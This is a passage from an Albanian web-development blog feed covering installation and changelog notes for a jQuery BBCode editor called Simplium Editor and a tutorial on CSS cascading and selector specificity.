<!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">link</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor/skins/simplium/editor.css&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><strong>2. Përfshini jQuery dhe Editor.js</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor/jquery/jquery.js&quot;</span>&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor/editor.js&quot;</span>&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><strong>3. Nisni Editorin</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;</span></li><li>$<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></li><li>	Editor.<span style="color: #660066;">loadEditor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><strong>4. Krijoni një &lt;textarea&gt;</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">textarea</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;permbajtja&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editori&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">textarea</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><strong>5. Gëzoni editorin e ri <img src='http://feniksi.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></p>
<p>Kaq e thjeshtë! Dyshoj seriozisht se do të ketë njeri probleme, por, për të qenë i sigurt, po ju jap kodin e plotë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">meta</span> <span style="color: #000066;">http-equiv</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Content-Type&quot;</span> <span style="color: #000066;">content</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/html; charset=UTF-8&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>Editori<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">link</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor/skins/simplium/editor.css&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor/jquery/jquery.js&quot;</span>&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor/editor.js&quot;</span>&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;</span></li><li>$<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></li><li>	Editor.<span style="color: #660066;">loadEditor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">textarea</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;fusha&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editor&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">textarea</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Por nuk mbaron me kaq! Editorit mund ti vendosen disa parametra gjatë thërritjes së metodës Editor.loadEditor(). Çdo parametër është opsional dhe nëse përdorni gjuhën, shabllonin dhe direktorinë si ç&#8217;i kam përdorur unë, nuk do keni probleme. Në të kundërt, do ju duhet ti vendosni. Shembulli më poshtë tregon përdorimin e të gjithë parametrave:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="Javascript"><div class="devcodeoverflow"><ol><li>Editor.<span style="color: #660066;">loadEditor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span></li><li>	selector<span style="color: #339933;">:</span> <span style="color: #3366CC;">'#editori'</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">//Tipi i selektorit qe krijon Editore (klase ose ID).</span></li><li>	skin<span style="color: #339933;">:</span> <span style="color: #3366CC;">'emri_shabllonit'</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">//Pamja qe do te perdoret. Duhet te kete skedar perkates ne direktorine &quot;skins&quot;</span></li><li>	width<span style="color: #339933;">:</span> <span style="color: #CC0000;">700</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">//Gjeresia e pergjithshme e Editorit (me pak se 600 prish pozicionimin e ikonave).</span></li><li>	lang<span style="color: #339933;">:</span> <span style="color: #3366CC;">'it'</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">//Gjuha. Duhet te kete skedar perkates (xx.js) ne direktorine &quot;lang&quot;.</span></li><li>	path<span style="color: #339933;">:</span> <span style="color: #3366CC;">'editori'</span><span style="color: #339933;">,</span> <span style="color: #006600; font-style: italic;">//Direktoria ku editori ndodhet relative me dokumentin ku perdoret. Pa slashe (/) ne fillim dhe ne fund.	</span></li><li><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Liçenca</h2>
<p>Liçenca është e modelit GNU GPL v2 (General Public Licence). Kjo do të thotë se jeni të lirë ta modifikoni dhe shpërndani, për aq kohë se versioni që shpërndani është gjithashtu nën liçencën GNU GPL. Në terma të thjeshtë, jeni të lirë ta përdorni në projekte personale dhe komerciale, por s&#8217;mund ta shpërndani si një projekt komercial; pavarësisht se mund ta keni modifikuar rrënjësisht.</p>
<p>Nëse për ndonjë arsye të çuditshme jeni të interesuar ta shpërndani në formë komerciale këtë editor, jam i sigurt që do të gjejmë gjuhën e përbashkët.</p>
<h2>Kompatibiliteti</h2>
<p>Editorin e kam testuar personalisht në versionet e fundit të Chrome (Mac dhe Win), Firefox (Mac dhe Win), Safari (Mac dhe Win) dhe Opera (Mac dhe Win). Patjetër që është testuar edhe në Internet Explorer 6, 7, 8 dhe 9. Në të gjithë shfletuesit editori është tërësisht i përdorshëm dhe praktikisht i njëjtë. Megjithatë, ka disa probleme të vogla për shfletues specifikë:</p>
<ul>
<li>IE6 nuk njeh PNG-të dhe kuptohet, rregulla të CSS3 si border-radius. PNG-të mund të rregullohen, por nuk ja vlen të përdoren hack për një shfletues të lashtë.</li>
<li>IE7 dhe IE8 nuk njohin border-radius.</li>
<li>IE8 dhe IE9 i shfaqin pak më poshtë se ç&#8217;duhet menutë. Këtë më duhet ta shikoj sepse duhet të jetë rregullim i lehtë.</li>
<li>IE6, IE7, IE8, IE9 dhe Opera nuk e njohin rregullin e CSS3 &#8220;resize&#8221;. Po mendoj ta bej zmadhimin me Javascript.</li>
</ul>
<h2>Zhvillimi i Mëtejshëm</h2>
<p>Jam i qartë që ka editorë të tillë plot nëpër internet, por kjo s&#8217;do të thotë që s&#8217;duhet të merremi me projekte alternative. Do isha shumë i kënaqur nëse marr ndihmën tuaj për ta testuar, rregulluar dhe zhvilluar më tej editorin, për ta bërë akoma më solid dhe të përdorshëm. Qoftë kjo edhe për eksperiencë dhe për të mësuar diçka gjatë rrugës. Pra, shkruani në komente për gjithçka që mendoni se i vlen këtij projekti, përfshirë: gjetje gabimesh, probleme në shfletues të caktuar, sugjerime për përmirësimin/shkurtimin e kodit dhe opsione të reja që potencialisht mund të implementohen.</p>
<p>Mjafton ta shkruani qartë atë që doni të thoni, që mos të më lini të hamendësoj <img src='http://feniksi.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>Regjistri i Ndryshimeve</h2>
<p><strong>v1.1 &#8211; 20 Shtator 2011</strong></p>
<ul>
<li>Abandonim i pluginit &#8220;caret range&#8221; për shkak të probleme dhe rifreskimit të ngadaltë. Kalim në &#8220;rangyinputs&#8221;.</li>
<li>Rifaktorim i metodës catchEvents().</li>
<li>Rishkrim i metodave addBBCode() dhe addSmiley() për të përdorur pluginin e ri. Kodi tani është perfekt nga ana funksionale.</li>
<li>Shtim i parametrit &#8220;path&#8221; për të përcaktuar direktorinë e editorit.</li>
<li>Abandonim i krijimit të HTML-së përmes funksioneve të jQuery insertAfter() dhe insertBefore(), në favor të krijimit të komplet strukturës vetëm me funksionin html().</li>
<li>Abandonim i përfshirjes se skedarit CSS përmes Javascript, sepse nuk funksionon në Internet Explorer. Tani skedari CSS thërritet normalisht brenda dokumentit HTML.</li>
<li>Marrja e atributit &#8220;name&#8221; të &lt;textarea&gt; të krijuar dinamikisht nga textarea origjinale.</li>
<li>Shtim i mundësisë për të zgjeruar editorin vertikalisht përmes CSS3: &#8220;resize: vertically;&#8221;.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/dhurata/dhurate-simplium-editor-v1-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pesha e Selektorëve në CSS</title>
		<link>http://feniksi.com/web/css/pesha-e-selektoreve-ne-css-2/</link>
		<comments>http://feniksi.com/web/css/pesha-e-selektoreve-ne-css-2/#comments</comments>
		<pubDate>Mon, 19 Sep 2011 14:21:10 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[cascading]]></category>
		<category><![CDATA[pesha]]></category>
		<category><![CDATA[specificity]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=1998</guid>
		<description><![CDATA[Pesha e selektorëve është ndër konceptet më të vështira në CSS dhe ka të bëjë me përcaktimin e rregullave me më shumë prioritet. Duke e ilustruar me shembuj praktikë dhe përmes një sistemi interesant pikësh, jam i sigurt që asgjë s'do i mbetet rastësisë dhe do e kuptoni tërësisht se si funksionojnë.]]></description>
			<content:encoded><![CDATA[<p>Kanë peshë selektorët CSS? Sigurisht që kanë! Ky është një nga konceptet më të &#8220;errëta&#8221; të CSS dhe nga ato pjesë që koduesit nuk e kanë fare idenë apo janë totalisht konfuzë. Kush ka thënë që CSS është e lehtë? <img src='http://feniksi.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Përpara se të kaloj tek pesha e selektorëve (që në Anglisht quhet Specificity), më duhet t&#8217;ju shpjegoj konceptin e Cascading &#8211; C tek CSS &#8211; sepse kanë lidhje direkte me njëra tjetrën, duke qenë se përcaktojnë kush shprehje ka prioritet më të lartë.</p>
<h2>Çfarë është Cascading?</h2>
<p>Në CSS ofrohen disa mënyra për të shkruar rregulla. Edhe pse përdorimi i një dokumenti të jashtëm është më i këshilluari për të ndarë prezantimin nga dekorimet, sërisht mbetet fakti që alternativa egzistojnë. Çështja është se secila alternativë ka prioritet, që do të thotë se egzekutohet e fundit dhe mbivendos çdo rregull të shkruar më parë. Shembujt janë mënyra më e mirë për t&#8217;ju qartësuar mendimet. Më poshtë do ju tregoj mënyrat e ndryshme për të shkruar CSS, shpjegimin për secilën dhe prioritetin që kanë.</p>
<p>Kini parasysh që mbivendosja ndodh në rastet kur gjenden shprehje që zgjedhin të njëjtët grup elementësh. Pra, nëse shkruhen 2 shprehje në metoda të ndryshme që vendosin rregulla për paragrafet, atëherë do ndodhë mbivendosje. Por, nëse shprehja e parë zgjedh një &lt;div&gt;, ndërsa shprehja e dytë një paragraf, nuk ka çfarë mbivendosje të ndodhë. </p>
<p><strong>Dokument i jashtëm CSS &#8211; Prioriteti 0</strong><br />
Kjo është mënyra tipike e shkrimit të rregullave CSS dhe si ç&#8217;thashë më sipër, më e këshilluara. Dekorimet CSS janë të ndara nga prezantimi HTML dhe më e mira, mund të ripërdoren në dokumenta të ndryshëm. Prioriteti i dokumentit të jashtëm është 0, që do të thotë se rregullat e tij mund të mbivendosen nga metoda të tjera, ndërsa vetë ai s&#8217;mund të mbivendosë asnjë.</p>
<p>Në një skedar të jashtëm (psh: stilet.css):<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>p <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">14px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #993333;">red</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Në dokumentin HTML, brenda &lt;head&gt; vendoset thërritja:<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>&lt;link rel<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> type<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> media<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;screen&quot;</span> href<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;stilet.css&quot;</span> /<span style="color: #00AA00;">&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Çdo paragraf do të ketë madhësi gërme 14px dhe ngjyrë të kuqe.</p>
<p><strong>Rregulla të brendshme &#8211; Prioriteti 1</strong><br />
Rregullat e brendshme shkruhen në dokumentin HTML, brenda &lt;head&gt; dhe kanë prioritet 1. Kjo do të thotë se mund të mbivendosen nga metoda të tjera, por gjithashtu mund të mbivendosin rregullat e dokumentit të jashtëm.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>&lt;style type<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span><span style="color: #00AA00;">&gt;</span></li><li>p <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li>&lt;/style<span style="color: #00AA00;">&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Çdo paragraf do të ketë madhësi gërme 20px. Ngjyra do të mbetet e pandryshuar sepse është përcaktuar në dokumentin e jashtëm dhe nuk është mbivendosur nga rregullat e brendshme.</p>
<p><strong>Rregulla në rresht &#8211; Prioriteti 3</strong><br />
Rregullat në rresht shkruhen si atribute të elementëve HTML dhe janë specifike të atij elementi. Prioriteti i tyre është maksimal, që do të thotë se mund të mbivendosë çdo rregull tjetër, por asnjë s&#8217;mund ta mbivendosë atë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>&lt;p<span style="color: #00AA00;">&gt;</span>Paragraf.&lt;/p<span style="color: #00AA00;">&gt;</span></li><li>&lt;p style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;font-size:11px; color:blue;&quot;</span><span style="color: #00AA00;">&gt;</span>Nje tjeter paragraf.&lt;/p<span style="color: #00AA00;">&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Paragrafi i parë do mbetet i pandryshuar: me madhësi gërme 20px (nga rregulli i brendshëm) dhe ngjyrë të kuqe (nga rregulli i jashtëm). Në paragrafin e dytë kam shkruar rregulla në rresht që mbivendosin çdo rregull tjetër të shkruar nga metodat e para. Përfundimisht, paragrafi i dytë të të ketë madhësi gërme 11px dhe ngjyrë blu.</p>
<p>Kjo është Cascading, prioriteti i rregullave. Prioritetin më të ulët e kanë dokumentat e jashtëm, ndërsa më të lartin rregullat në rresht. Është e rëndësishme ta keni kuptuar këtë seksion sepse është baza e peshës së selektorëve. Në fakt, pesha përfshihet në Cascading, gjë që sqaron natyrën e CSS.</p>
<h2>Pesha e Selektorëve</h2>
<p>Prioriteti i metodave që ju shpjegova më sipër ka kuptim për aq kohë sa shkruhet CSS në disa mënyra, gjë që është tërësisht jo normale të bëhet. S&#8217;mund të kesh rregulla në një dokument të jashtëm, disa brenda dokumentit dhe në fund disa rregulla shumë specifike në rresht me elementët HTML. Do ishte jo intuitive dhe një tmerr i vërtetë për tu mirëmbajtur. Për këtë arsye zgjidhet një metodë dhe i rrihet ngjitur asaj. Metoda më e mirë është përdorimi i dokumentave të jashtëm dhe këtë vështirë se e kundër-argumenton njeri.</p>
<p>Pyetja me vend në këtë rast do të ishte: &#8220;kur përdorim vetëm një metodë eksluzivisht, çfarë ka më për të diskutuar?&#8221;. Ka shumë për të diskutuar! Ashtu si shprehje që i drejtohen të njëjtit element HTML mbivendosen me metoda të ndryshme, si ju tregova më sipër, ashtu mbivendosen edhe shprehjet e shkruajtura me një metodë të caktuar. Një abstrakt mbetet i tillë, kështu që mos u bëni merak se do e shpjegoj gjithçka për ta bërë peshën e selektorëve më të lehtë se pirja e një gote qumësht. Kini parasysh që tani e tutje do supozoj që rregullat CSS shkruhen vetëm në një metodë, qoftë ajo në një dokument të jashtëm apo të brendshëm.</p>
<p>Më lejoni t&#8217;ju bëj disa teste për të provuar intuitën tuaj. Shikoni 2 pjesëzat e kodeve CSS më poshtë dhe për secilën pjesë gjykoni se çfarë ngjyre do të marrë paragrafi. Me intuitë, sepse po i testuat nuk ka vlerë.</p>
<p>Kodi HTML<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;permbajtja&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>Nje paragraf.<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Testi i Parë<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>p <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #993333;">red</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li>p <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Testi i Dytë<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>div<span style="color: #cc00cc;">#permbajtja</span> p <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #993333;">red</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li>p <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Nëse për Testin e Parë keni thënë &#8220;blu&#8221;, jeni të saktë: 1 pikë për ju. Nëse keni thënë përsëri &#8220;blue&#8221; edhe për Testin e Dytë, jeni gabim! Në fakt, në intuitën e dikujt që nuk e di çfarë është pesha e selektorëve, ngjyra e paragrafit është blu, duke qenë se rregulli i fundit përcakton pikërisht atë ngjyrë. Ja që tema është më e komplikuar se aq.</p>
<p>Vetëm me testin e mësipërm duhet t&#8217;ju kem dhënë një ide shumë të mirë se për çfarë po flasim. Së pari mësuam këtu se në selektorë të njëjtë, merr efekt shprehja e fundit. Së dyti dhe më e rëndësishmja, mësuam që shprehje që u drejtohen të njëjtit element, kanë prioritet të ndryshëm në bazë të selektorëve. Në thelb, sa më i komplikuar selektori, aq më peshë ka ai dhe si rrjedhim, shprehja do të konsiderohet me më shumë prioritet.</p>
<p>Çështja është se si llogaritet kompleksiteti. Në botën reale mund të shkruhen me qindra shprehje për një projekt dhe është e rëndësishme të krijohet një sistem i padepërtueshëm për llogaritjen e peshës së selektorëve. Sa më pak komplikime, aq më e thjeshtë bëhet për ju.</p>
<h2>Si Llogaritet Pesha</h2>
<p>Diçka në shikim të parë e komplikuar mund të kthehet në një lojë fëmijësh dhe pikërisht këtë kam ndërmend të bëj. Do ju shpjegoj si llogaritet pesha përmes një sistemi që përcakton pikë dhe në fund, llogaritja kthehet në mbledhje të thjeshta matematikore. Shikoni foton më poshtë, ku tregohen pikët e secilit selektor.</p>
<div id="attachment_2013" class="wp-caption alignnone" style="width: 811px"><a href="http://feniksi.com/wp-content/uploads/2011/09/Pesha-e-Selektoreve.jpg" rel="shadowbox[sbpost-1998];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/Pesha-e-Selektoreve.jpg" alt="" title="Pesha e Selektoreve" width="801" height="532" class="size-full wp-image-2013" /></a>
<p class="wp-caption-text">Pikët e Selektorëve</p>
</div>
<p>Në momentin që përdor Batman për të ilustruar diçka, automatikisht merr përmasa epike <img src='http://feniksi.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Besoj se kuptueshmëria është në nivele të mira dhe ilustrimi ju jep idenë të sistemit të pikëve që merr secili selektor. Duke përdorur këtë sistem, shprehja që ka numrin më të lartë të pikëve është ajo që ka më shumë peshë dhe do të ketë efekt me prioritet më të lartë. Në lojë hyjnë edhe disa selektorë të tjerë, kështu që po ju bëj një përmbledhje të tipeve të ndryshme, plus kombinime për ta bërë më praktike.</p>
<ul>
<li><strong>p {}</strong> &#8211; 1x Element = <em>1 pikë</em></li>
<li><strong>p a {}</strong> &#8211; 2x Elementë = <em>2 pikë</em></li>
<li><strong>a:hover {}</strong> &#8211; 1x Pseudo-Klasë = <em>1 pikë</em></li>
<li><strong>li:first-child {}</strong> &#8211; 1x Pseudo-Element = <em>1 pikë</em></li>
<li><strong>.klasa {}</strong> &#8211; 1x Klasë = <em>10 pikë</em></li>
<li><strong>p.klasa {}</strong> &#8211; 1x Klasë + 1x Element = <em>11 pikë</em></li>
<li><strong>a.klasa:hover {}</strong> &#8211; 1x Klasë + 1x Element + 1x Pseudo-Klasë = <em>12 pikë</em></li>
<li><strong>#id {}</strong> &#8211; 1x ID {} = <em>100 pikë</em></li>
<li><strong>div#id p.klasa {}</strong> &#8211; 1x ID + 1x Klasë + 2x Elementë = <em>112 pikë</em></li>
<li><strong>ul#menu li.nenmenu a.lidhje:hover {}</strong> &#8211; 1x ID + 2x Klasa + 3x Elementë + 1x Pseudo-Klasë = <em>124</em></li>
<li><strong>a[target="_blank"] {}</strong> &#8211; 1x Atribut + 1x Element = <em>11 pikë</em></li>
</ul>
<p>Tashmë kemi një sistem solid pikësh për të përcaktuar peshën dhe s&#8217;na mbetet gjë tjetër përveç se ta shohim si funksionon në një mjedis të vërtetë. Nëse deri tani jeni akoma konfuz, shembujt praktikë do ja u heqin me siguri të gjitha dyshimet.</p>
<p>Në këtë pikë, mbani mend që rregullat e shkruajtura brenda dokumentit HTML apo në rresht kanë efekt përsëri sipas Cascading. Pavarësisht çfarë peshe ka një shprehje e shkruar në një dokument të jashtëm, rregullat brenda dokumentit apo ato në rresht do i mbivendosin ato. Cascading ka prioritet mbi peshën e selektorëve.</p>
<h2>Pesha e Selektorëve me Shembuj Praktikë</h2>
<p>Do ta nis me rastin më të thjeshtë dhe gradualisht do i bëj më komplekse për t&#8217;ju treguar raste të ndryshme, me vështirësi të ndryshme. Nuk do të përdor asgjë tjetër përveç sistemit të pikëve që kemi përcaktuar më sipër për të llogaritur cila shprehje do të ketë efekt.</p>
<p>Kodi HTML që do të përdor në të gjithë shembujt është më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;koka&quot;</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;menu&quot;</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span>&gt;</span>Menu 1<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: 